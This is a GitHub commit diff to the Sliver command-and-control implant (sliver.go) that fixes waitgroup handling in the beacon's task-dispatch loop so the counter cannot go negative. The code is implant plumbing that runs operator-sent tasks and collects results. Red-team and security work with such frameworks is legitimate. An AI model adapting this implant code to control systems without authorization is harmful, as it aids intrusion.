Skip to content

Commit

Permalink
ensure waitgroup in beaconmain can never become negative
Browse files Browse the repository at this point in the history
  • Loading branch information
DominicBreuker committed Mar 23, 2023
1 parent b0e0df1 commit c6a29ea
Showing 1 changed file with 48 additions and 28 deletions.
76 changes: 48 additions & 28 deletions implant/sliver/sliver.go
Original file line number Diff line number Diff line change
Expand Up @@ -409,9 +409,25 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
}
}

sysHandlers := handlers.GetSystemHandlers()
var results []*sliverpb.Envelope
for _, r := range beaconHandleTasklist(tasksExtRegister) {
results = append(results, r)
for _, task := range tasksExtRegister {
if handler, ok := sysHandlers[task.Type]; ok {
data := task.Data
taskID := task.ID
handlers.WrapperHandler(handler, data, func(data []byte, err error) {
// {{if .Config.Debug}}
if err != nil {
log.Printf("[beacon] handler function returned an error: %s", err)
}
log.Printf("[beacon] task completed (id: %d)", taskID)
// {{end}}
results = append(results, &sliverpb.Envelope{
ID: taskID,
Data: data,
})
})
}
}
for _, r := range beaconHandleTasklist(tasksExtCall) {
results = append(results, r)
Expand Down Expand Up @@ -451,37 +467,41 @@ func beaconHandleTasklist(tasks []*sliverpb.Envelope) []*sliverpb.Envelope {
data := task.Data
taskID := task.ID
// {{if eq .Config.GOOS "windows" }}
go handlers.WrapperHandler(handler, data, func(data []byte, err error) {
resultsMutex.Lock()
defer resultsMutex.Unlock()
go func() {
defer wg.Done()
// {{if .Config.Debug}}
if err != nil {
log.Printf("[beacon] handler function returned an error: %s", err)
}
log.Printf("[beacon] task completed (id: %d)", taskID)
// {{end}}
results = append(results, &sliverpb.Envelope{
ID: taskID,
Data: data,
handlers.WrapperHandler(handler, data, func(data []byte, err error) {
resultsMutex.Lock()
defer resultsMutex.Unlock()
// {{if .Config.Debug}}
if err != nil {
log.Printf("[beacon] handler function returned an error: %s", err)
}
log.Printf("[beacon] task completed (id: %d)", taskID)
// {{end}}
results = append(results, &sliverpb.Envelope{
ID: taskID,
Data: data,
})
})
})
}()
// {{else}}
go handler(data, func(data []byte, err error) {
resultsMutex.Lock()
defer resultsMutex.Unlock()
go func() {
defer wg.Done()
// {{if .Config.Debug}}
if err != nil {
log.Printf("[beacon] handler function returned an error: %s", err)
}
log.Printf("[beacon] task completed (id: %d)", taskID)
// {{end}}
results = append(results, &sliverpb.Envelope{
ID: taskID,
Data: data,
handler(data, func(data []byte, err error) {
resultsMutex.Lock()
defer resultsMutex.Unlock()
// {{if .Config.Debug}}
if err != nil {
log.Printf("[beacon] handler function returned an error: %s", err)
}
log.Printf("[beacon] task completed (id: %d)", taskID)
// {{end}}
results = append(results, &sliverpb.Envelope{
ID: taskID,
Data: data,
})
})
})
}()
// {{end}}
} else if task.Type == sliverpb.MsgOpenSession {
go openSessionHandler(task.Data)
Expand Down

0 comments on commit c6a29ea

Please sign in to comment.